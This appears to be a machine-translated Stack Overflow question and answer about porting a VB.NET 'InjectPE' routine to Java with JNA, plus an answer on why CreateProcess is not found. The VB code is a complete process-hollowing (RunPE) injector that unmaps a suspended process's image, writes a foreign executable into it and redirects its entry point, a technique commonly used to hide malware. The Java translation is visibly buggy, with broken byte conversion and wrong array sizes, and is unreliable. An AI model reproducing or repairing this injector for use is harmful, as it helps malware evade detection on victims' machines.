我正在尝试将此VB代码转换为Java:
Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
Try
Dim procAttr As IntPtr = IntPtr.Zero
Dim processInfo As IntPtr() = New IntPtr(3) {}
Dim startupInfo As Byte() = New Byte(67) {}
Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))
If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
procAttr, Nothing, startupInfo, processInfo) Then
Dim ctxt As UInteger() = New UInteger(178) {}
ctxt(0) = &H10002
If GetThreadContext(processInfo(1), ctxt) Then
Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)
Dim buffer__1 As IntPtr = IntPtr.Zero
Dim bufferSize As New IntPtr(4)
Dim numRead As IntPtr = IntPtr.Zero
If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)
Dim lpNumberOfBytesWritten As Integer
WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
Dim num5 As Integer = num - 1
For i As Integer = 0 To num5
Dim dst As Integer() = New Integer(9) {}
Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)
size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
addr = New IntPtr(buffer2.Length)
WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
Next
size = New IntPtr(ctxt(&H29) + 8L)
addr = New IntPtr(4)
WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
SetThreadContext(processInfo(1), ctxt)
End If
End If
ResumeThread(processInfo(1))
End If
Catch
Return False
End Try
Return True
End Function
我先编写了本机调用接口。
Kernel32中
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
public interface Kernel32 extends StdCallLibrary {
boolean CreateProcess(String appName, String commandLine,
IntByReference procAttr, IntByReference thrAttr, boolean inherit,
int creation, IntByReference env, String curDir, byte[] sInfo,
IntByReference[] pInfo);
boolean GetThreadContext(IntByReference hThr, int[] ctxt);
boolean ReadProcessMemory(IntByReference hProc, IntByReference baseAddr,
IntByReference bufr, int bufrSize, IntByReference numRead);
int ResumeThread(IntByReference hThread);
boolean SetThreadContext(IntByReference hThr, int[] ctxt);
IntByReference VirtualAllocEx(IntByReference hProc, IntByReference addr,
IntByReference size, int allocType, int prot);
boolean VirtualProtectEx(IntByReference hProcess, IntByReference lpAddress,
IntByReference dwSize, int flNewProtect, int lpflOoldProtect);
boolean WriteProcessMemory(IntByReference hProcess,
IntByReference lpBaseAddress, byte[] lpBuffer, int nSize,
int lpNumberOfBytesWritten);
}
NTDLL
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
public interface NtDll extends StdCallLibrary {
int NtUnmapViewOfSection(IntByReference hProc, IntByReference baseAddr);
}
在我编写了调用接口后,我继续翻译该函数。我看到我需要一个 BitConverter 等价物,所以我写了一个。
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public final class BitConverter {
public static byte[] getBytes(int value) {
ByteBuffer buffer = ByteBuffer.allocate(4).order(
ByteOrder.nativeOrder());
buffer.putInt(value);
return buffer.array();
}
public static short toInt16(byte[] bytes, int index) {
if (bytes.length != 8)
return -1;
return (short) ((0xff & bytes[index]) << 8 | (0xff & bytes[index + 1]) << 0);
}
public static int toInt32(byte[] bytes, int index) {
if (bytes.length != 4)
return -1;
return (int) ((int) (0xff & bytes[index]) << 56
| (int) (0xff & bytes[index + 1]) << 48
| (int) (0xff & bytes[index + 2]) << 40 | (int) (0xff & bytes[index + 3]) << 32);
}
}
现在我已经准备好写这个功能了。我想出了这个:
public static boolean injectPE(Kernel32 kernel, NtDll ntdll, String process,
byte[] bytes) {
IntByReference procAttr = new IntByReference(0);
IntByReference[] processInfo = new IntByReference[3];
byte[] startupInfo = new byte[67];
int num2 = BitConverter.toInt32(bytes, 60);
int num = BitConverter.toInt16(bytes, num2 + 6);
IntByReference ptr4 = new IntByReference(BitConverter.toInt32(bytes,
num2 + 0x54));
if (kernel.CreateProcess(null, process, procAttr, procAttr, false, 4,
procAttr, null, startupInfo, processInfo)) {
int[] ctxt = new int[178];
ctxt[0] = 0x10002;
if (kernel.GetThreadContext(processInfo[1], ctxt)) {
IntByReference baseAddr = new IntByReference(ctxt[0x29] + 8);
IntByReference buffer__1 = new IntByReference(0);
IntByReference bufferSize = new IntByReference(4);
IntByReference numRead = new IntByReference(0);
if (kernel.ReadProcessMemory(processInfo[0], baseAddr,
buffer__1, bufferSize.getValue(), numRead)
&& ntdll.NtUnmapViewOfSection(processInfo[0], buffer__1) == 0) {
IntByReference addr = new IntByReference(
BitConverter.toInt32(bytes, num2 + 0x34));
IntByReference size = new IntByReference(
BitConverter.toInt32(bytes, num2 + 80));
IntByReference lpBaseAddress = kernel.VirtualAllocEx(
processInfo[0], addr, size, 0x3000, 0x40);
int lpNumberOfBytesWritten = 0;
kernel.WriteProcessMemory(processInfo[0], lpBaseAddress,
bytes, ptr4.getValue(), lpNumberOfBytesWritten);
int num5 = num - 1;
for (int i = 0; i <= num5; i++) {
int[] dst = new int[9];
System.arraycopy(bytes, (num2 + 0xF8) + (i * 40), dst,
0, 40);
byte[] buffer2 = new byte[dst[4] - 1];
System.arraycopy(bytes, dst[5], buffer2, 0,
buffer2.length);
size = new IntByReference(lpBaseAddress.getValue()
+ dst[3]);
addr = new IntByReference(buffer2.length);
kernel.WriteProcessMemory(processInfo[0], size,
buffer2, addr.getValue(),
lpNumberOfBytesWritten);
}
size = new IntByReference(ctxt[0x29] + 8);
addr = new IntByReference(4);
kernel.WriteProcessMemory(processInfo[0], size,
BitConverter.getBytes(lpBaseAddress.getValue()),
addr.getValue(), lpNumberOfBytesWritten);
ctxt[0x2C] = lpBaseAddress.getValue()
+ BitConverter.toInt32(bytes, num2 + 40);
kernel.SetThreadContext(processInfo[1], ctxt);
}
}
kernel.ResumeThread(processInfo[1]);
return true;
}
return false;
}
我遇到的问题是,当我跑去测试时,我得到了这个错误:
Exception in thread "main" java.lang.UnsatisfiedLinkError: Error looking up function 'CreateProcess': The specified procedure could not be found.
我不知道如何诊断JNA错误,所以我陷入了困境。任何有关此的帮助和对其他事情的帮助非常感谢。谢谢!
答案 0 :(得分:1)
您可以通过扩展JNA的platform.jar中提供的JNA's Kernel32 mapping而不是自己动手来节省一些工作。
如果您使用dependency walker查看kernel32.dll,您会发现DLL中不存在CreateProcess
,但CreateProcessA
和CreateProcessW
确实存在。大多数w32 API函数都带有“ansii”和“unicode”风格,并且它们的字符串定义不同(LPCTSTR
);前者使用char*
,后者使用wchar_t*
。请注意,您应该只在您看到String
(常量字符串)的地方映射Java LPCTSTR
;如果类型为LPTSTR
,则必须根据需要使用byte[]
或char[]
。
如果您查看JNA的Kernel32映射的初始化,您会看到它使用W32API_UNICODE_OPTIONS
,它会自动处理从CreateProcess
到CreateProcessW
的转换(以及让您将Java String
用于本机字符串,而不必显式使用JNA的WString
)。